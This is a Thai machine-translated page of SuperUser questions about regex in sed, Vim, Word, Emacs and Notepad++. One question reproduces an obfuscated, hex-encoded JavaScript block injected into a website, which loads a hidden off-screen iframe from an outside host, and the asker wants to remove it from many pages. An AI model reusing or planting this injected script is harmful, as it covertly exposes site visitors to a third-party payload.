คำถามติดแท็ก regex

หรือที่เรียกว่านิพจน์ปกติหรือ regexp คำอธิบายของชุดสตริงมักใช้สำหรับค้นหาและตรวจสอบสตริง

1
จะทำให้ sed ไม่ตัดบรรทัดที่ไม่ตรงกันได้อย่างไร
ในตัวอย่างต่อไปนี้sedจับคู่บรรทัดที่ขึ้นต้นด้วยaหรือหรือcและพิมพ์อักขระตัวแรกของบรรทัดนั้น ( aหรือc): $ echo "ag bh ci dj ek fl" | sed 's/\(a\|c\)./\1/' # Matches lines starting with 'a' or 'c'. output: a bh c dj ek fl อย่างไรก็ตามบรรทัดที่ไม่ตรงกับรูปแบบจะถูกพิมพ์ออกมาเช่นกัน ฉันจะบอกsedให้ละเว้นบรรทัดที่ไม่ตรงกับรูปแบบได้อย่างไร ฉันสามารถรับเอฟเฟกต์ที่ต้องการได้โดยรวมเข้ากับgrep(ดังต่อไปนี้) แต่ฉันอยากจะรู้ว่าsedสามารถบรรลุ "ด้วยตัวเอง" ได้หรือไม่ $ echo "ag bh ci dj ek fl" | grep '[ac]' | sed 's/\(a\|c\)./\1/' output: …

1
ฉันจะบล็อกการค้นหาและแทนที่ด้วย Vim ได้อย่างไร?
ฉันมีข้อความเป็นกลุ่ม กดCtrl+Vเพื่อใส่ VIm ในโหมดบล็อก เน้นข้อความที่ฉันต้องการ พิมพ์:นี้ให้พรอมต์นี้:'<,'> ฉันจะเพิ่มไปยังพร้อมท์ s/ /*/gregex สิ่งนี้ทำให้ฉันด้วย:'<,'>s/ /*/gและข้อความที่เน้น ฉันกด Enter น่าเสียดายที่มันทำงานได้ทั้งสายสำหรับบล็อกไม่ใช่เฉพาะบล็อก มีอยู่แล้วเพื่อทำการค้นหาบล็อกและแทนที่?
8 vim  regex 

1
regex แก้ไขใน skype?
ตกลงฉันไม่ใช่ผู้ใช้ skype ใหญ่ แต่ฉันกำลังแชทกับน้องสาวของฉันพิมพ์ผิดและพิมพ์เป็นนิสัย tpyo s/tpyo/typo/ ความประหลาดใจของฉันมันเปลี่ยนประวัติศาสตร์จริง ๆ ฉันใช้ไคลเอนต์ skype linux 2.1.0.47-r1 และน้องสาวของฉันใช้ 4.something บน windows เมื่อเธอพยายามทำสิ่งเดียวกันมันไม่ทำงาน ไม่มีใครรู้ว่านี่เป็นรุ่นเฉพาะของ linux หรือไม่ สุดยอดไข่อีสเตอร์ / ฟีเจอร์ที่ฉันเคยเจอ
8 linux  skype  regex 

2
นิพจน์ปกติ: การจับคู่กลุ่มมีประโยชน์อย่างไร
ฉันตัดสินใจที่จะเรียนรู้พื้นฐานการแสดงออกปกติ ฉันใช้บทเรียน Regex One ออนไลน์และฉันติดอยู่ที่lession 11อยู่พักหนึ่ง แต่ฉันคิดว่าฉันได้รับแล้ว นี่คือภารกิจ "เขียนนิพจน์ทั่วไปที่ตรงกับชื่อไฟล์ (ไม่รวมนามสกุล) ของไฟล์ PDF ด้านล่าง" task text capture capture text file_a_record_file.pdf file_a_record_file capture text file_yesterday.pdf file_yesterday skip text testfile_fake.pdf.tmp มีฟิลด์อินพุตที่คุณพิมพ์ในรูปแบบเพื่อทำงานให้เสร็จสมบูรณ์ หลังจากการทดลองและข้อผิดพลาดบางอย่างนี่คือสิ่งที่ฉันคิดขึ้นมา ^(file_a_record_file)\.pdf$ นี้จะตรงกับชื่อแฟ้มfile_a_record_file.pdfแต่เพียง "จับ" file_a_record_file ความแตกต่างคืออะไร ... ระหว่างการจับคู่และ "การจับภาพ" และมีประโยชน์อย่างไร? "การจับคู่กลุ่ม" เป็นอย่างไร ตอนนี้ใช้ได้สำหรับไฟล์แรก แต่ไม่ใช่สำหรับไฟล์ที่สอง ภารกิจบอกว่าฉันต้องสร้างรูปแบบที่จะจับคู่และจับชื่อไฟล์ของทั้งสองไฟล์โดยไม่รวมนามสกุล ดังนั้นนี่คือสิ่งที่ฉันมาต่อไป ^(file_.*)\.pdf$ เนื่องจากชื่อไฟล์ทั้งสองเริ่มต้นด้วยfile_ฉันคิดว่ามันเป็นความคิดที่ดีที่จะจับคู่กับมันแล้วบอกให้ตรงกับอักขระใด ๆ ที่ตามมาจากนั้นออกจากกลุ่มด้วยวงเล็บ ("กลุ่ม" คือสิ่งที่อยู่ในวงเล็บขวา …
6 regex 

1
แก้ไขการเน้นไวยากรณ์ของ YAML ใน VIM
ไวยากรณ์ YAML ที่เน้นใน Vim 7.3 นั้นไม่ดีนัก การใส่เครื่องหมายอะโพสโทรฟีในบรรทัดของข้อความทำให้เกิดการเน้นคำพูดแม้ว่าจะไม่มีเครื่องหมายคำพูด บางครั้งไฟล์เดียวกันก็เกิดขึ้นเช่นเดียวกัน ฉันโพสต์ภาพหน้าจอด้านล่าง มีวิธีใดบ้างในการแก้ไขปัญหานี้หรือมีไฟล์ไวยากรณ์ YAML อื่นที่ฉันสามารถใช้ได้ซึ่งจะไม่เรียกการทำงานนี้หรือไม่ สิ่งนี้เกิดขึ้นทั้งใน MacVim และ Vim ใน Terminal ฉันกำลังใช้ v7.3 ขอบคุณสำหรับความช่วยเหลือของคุณเควิน
5 vim  regex  syntax 

1
คุณจะค้นหา 2d เป็นกลุ่มได้อย่างไร?
ฉันกำลังมองหาเส้นในไฟล์ที่ตรงกับรูปแบบ 2 มิติ ตัวอย่างเช่นกำหนดไฟล์อินพุตต่อไปนี้: aaaba aabaa aaaba aaaaa aaaaa ฉันต้องการใช้รูปแบบเช่น ab ba ab เพื่อให้ตรงกับ 3 บรรทัดแรก เป็นการดีที่ฉันต้องการให้สามารถแทนที่ด้วยรูปแบบนั้นตัวอย่างเช่นแทนที่ด้วย ba ab ba
4 vim  regex 

2
ลบตัวเลขที่อยู่ตรงกลางของสตริง
ฉันต้องการลบทศนิยมส่วนเกินออกจากสตริงโดยใช้ find / replace ด้วย regex ตัวอย่างเช่น : <xml_taga>145.3345542123</xml_taga> <xml_tagb>125.1245471</xml_tagb> <xml_tagc>42.12</xml_tagc> ควรมีลักษณะเช่นนี้: <xml_taga>145.33</xml_taga> <xml_tagb>125.12</xml_tagb> <xml_tagc>42.12</xml_tagc> สิ่งที่ไกลที่สุดที่ฉันได้รับคือการแสดงออกนี้ (\.\d{3,12}) ความช่วยเหลือใด ๆ ที่จะได้รับการชื่นชม.

1
วิธีใช้ REGEX เพื่อใช้อักษรตัวแรกของแต่ละคำในประโยคให้เป็นตัวพิมพ์ใหญ่?
ฉันต้องการใช้นิพจน์ทั่วไป (REGEX) เพื่อใช้อักษรตัวแรกของแต่ละคำเป็นตัวพิมพ์ใหญ่ในประโยค ฉันได้ผลลัพธ์เหมือนกันในภาษาการเขียนโปรแกรม แต่ดูเหมือนว่าการใช้นิพจน์ทั่วไปจะกระชับยิ่งขึ้น
4 regex 

3
ฉันจะค้นหาและแทนที่วงเล็บที่ล้อมรอบข้อความด้วย regex บน Microsoft Word ได้อย่างไร
ฉันมีเอกสารที่มี (TL โดยผู้ใช้) ทั่วทุกที่ ฉันต้องการแทนที่ด้วยไม่มีอะไร (จึงลบมันทุกที่) แต่ผู้ใช้อาจแตกต่างกันหรืออาจมีผู้ใช้หลายคน (TL โดยผู้ใช้ 1) (TL โดยผู้ใช้ 3, superuser1) จนถึงตอนนี้ฉันได้ลองค้นหา (TL โดย. *) และแทนที่ด้วยไม่มีอะไรนอกจากกำจัดทุกอย่างยกเว้นผู้ใช้และ paranthesis โดยรอบด้วยเหตุผลบางอย่างดังนั้นฉันจึงเหลือ (user1) หรือ (user3, superuser1) ฉันจะให้ regex จับคู่และแทนที่การแข่งขันทั้งหมด (TL โดยผู้ใช้) รวมถึง parans และทุกอย่างภายในได้อย่างไร นี่คือ Word 2010 ฉันจะใส่ข้อมูลเพิ่มเติมเมื่อฉันกลับถึงบ้านในวันนี้

1
Emacs: วิธีที่จะทำให้การค้นหา regexp เริ่มต้นสำหรับ Cs?
ฉันจะเปลี่ยน Emacs เพื่อให้การค้นหา regexp (แทนการค้นหาปกติ) เป็นค่าเริ่มต้นได้อย่างไร ฉันต้องการที่จะสามารถพิมพ์C-s [0-9]เช่นและมันจะพาฉันไปยังหมายเลขถัดไป จากนั้นกดC-sอีกครั้งและพาฉันไปยังหมายเลขถัดไป ฉันลองสิ่งนี้: (global-set-key "\C-s" 'search-forward-regexp) แต่การกดซ้ำหลายครั้งC-sไม่ทำงาน มันไม่หาสิ่งที่เกิดขึ้นครั้งแรก แต่จะหาที่สองคุณจะต้องกลับเข้ามา regexp หลังจากที่กด[0-9]C-s
4 emacs  search  regex 

2
ใช้ Sublime Text find เพื่อเน้นกลุ่ม regex ในรูปแบบการค้นหา
มีวิธีในการทำให้Sublime Text highlight (คู่) เป็นเพียงส่วนหนึ่งของรูปแบบการค้นหา regex หรือไม่? ตัวอย่างเช่นผมต้องการเน้นเฉพาะเมื่อค้นหาTextSome(Text)

2
วิธีค้นหาอักขระพิเศษใน Sublime Text 3
ฉันมีไม่กี่บรรทัดที่เริ่มต้นด้วยตัวละคร # และฉันค้นหาใน Sublime Text 3 แต่ ST3 พูด unable to find \b#\b. ฉันลองค้นหาแล้ว \# และยังล้มเหลว (เมื่อเปิดใช้งานโหมดนิพจน์ทั่วไป) ตัวละครอื่น ๆ เช่น & + - มีปัญหาเดียวกัน ดังนั้นฉันจะค้นหาอักขระพิเศษเหล่านี้ใน ST3 ได้อย่างไร

3
คำสั่ง unix เพื่อตรวจสอบช่วงของคำในข้อความ
คำสั่ง unix ใดที่ฉันสามารถใช้เพื่อกำหนดระยะห่างบรรทัดที่คำปรากฏในข้อความ "span" เท่ากับจำนวนบรรทัดของอินสแตนซ์สุดท้ายของคำลบด้วยหมายเลขบรรทัดของอินสแตนซ์แรกของคำ 1| unix is on two lines 2| once above, and once below 3| unix ในตัวอย่างข้างต้น "span" ของ 'unix' จะเป็น 2 (3-1) จนถึงตอนนี้ฉันพยายามใช้ grep -n แต่ฉันไม่คิดว่า grep มีพลังมากพอ บางทีการใช้งาน sed หรือ awk บ้าง? ขอบคุณ!
3 unix  regex  grep  sed  awk 

1
ต้องการความช่วยเหลือในการแทนที่สตริงใน Notepad ++ โดยใช้นิพจน์ทั่วไป
ฉันพยายามแทนที่เนื้อหา /*6efdc4d230be4cf90bd9cefdffaeb74e*/ var _0xf184=["\x6F\x6E\x6C\x6F\x61\x64",​"\x67\x65\x74\x44\x61\x74\x65",​"\x73\x65\x74\x44\x61\x74\x65",​"\x63\x6F\x6F\x6B\x69\x65",​"\x3D",​"\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D",​"\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67",​"",​"\x3D\x28\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D",​"\x65\x78\x65\x63",​"\x73\x70\x6C\x69\x74",​"\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65",​"\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73",​"\x64\x69\x76",​"\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74",​"\x68\x74\x74\x70\x3A\x2F\x2F\x63\x64\x6E\x2E\x67\x6F\x72\x6F\x64\x61\x32\x33\x35\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D",​"\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62\x65\x34",​"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",​"\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27",​"\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E",​"\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",​"\x62\x6F\x64\x79"];window[_0xf184[0]]=func​tion (){func​tion _0x6e99x1(_0x6e99x2,​_0x6e99x3,​_0x6e99x4){if(_0x6e99x4){var _0x6e99x5= new Date();_0x6e99x5[_0xf184[2]](_0x6e99x5[_0xf184[1]]()+_0x6e99x4);};if(_0x6e99x2&&_0x6e99x3){document[_0xf184[3]]=_0x6e99x2+_0xf184[4]+_0x6e99x3+(_0x6e99x4?_0xf184[5]+_0x6e99x5[_0xf184[6]]():_0xf184[7])}else {return false};}func​tion _0x6e99x6(_0x6e99x2){var _0x6e99x3= new RegExp(_0x6e99x2+_0xf184[8]);var _0x6e99x4=_0x6e99x3[_0xf184[9]](document[_0xf184[3]]);if(_0x6e99x4){_0x6e99x4=_0x6e99x4[0][_0xf184[10]](_0xf184[4])}else {return false};return _0x6e99x4[1]?_0x6e99x4[1]:false;}var _0x6e99x7=_0x6e99x6(_0xf184[11]);if(_0x6e99x7!=_0xf184[12]){_0x6e99x1(_0xf184[11],​_0xf184[12],​1);var _0x6e99x8=document[_0xf184[14]](_0xf184[13]);var _0x6e99x9=1049507;var _0x6e99xa=_0xf184[15]+_0x6e99x9+_0xf184[16];_0x6e99x8[_0xf184[17]]=_0xf184[18]+_0x6e99xa+_0xf184[19];document[_0xf184[21]][_0xf184[20]](_0x6e99x8);};}; /*6efdc4d230be4cf90bd9cefdffaeb74e*/ มีพื้นที่ว่างในหลายหน้าประมาณ 1,100 หน้า ฉันไม่รู้ว่าจะทำอย่างไรโดยใช้ regex ใน Notepad ++ ความช่วยเหลือใด ๆ ที่ชื่นชม

1
Regex เพื่อค้นหาเครื่องหมายจุลภาคยกเว้นเครื่องหมายจุลภาคภายในสตริงที่คั่นด้วยเครื่องหมายคำพูดคู่
ฉันต้องการจัดการไฟล์. csv แบบปิดโดยไม่เปิดผ่านปุ่มบน Excel AddIn ฉันสามารถทำตามทุกขั้นตอนได้ แต่มีปัญหากับการค้นหา regex ที่จะทำให้สำเร็จ (มีหลายคำตอบสำหรับคำถามที่คล้ายกันในเน็ตบนกระดานประกาศต่าง ๆ และไม่มีใครทำงานได้จริง ต่อไปนี้เป็นตัวอย่างโค้ดพร้อมสิ่งที่โซลูชันควรมีลักษณะ: ฉันลองใช้ regexp หลายตัวแล้ว แต่ดูเหมือนจะไม่พบวิธีแก้ปัญหา ความพยายามที่ใกล้ที่สุดของฉันคือ: ฉันรู้สึกว่าต้องมีความเป็นไปได้ที่จะทำมัน ความช่วยเหลือเกี่ยวกับตำแหน่งที่ฉันจะผิดหรือเปล่า?

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.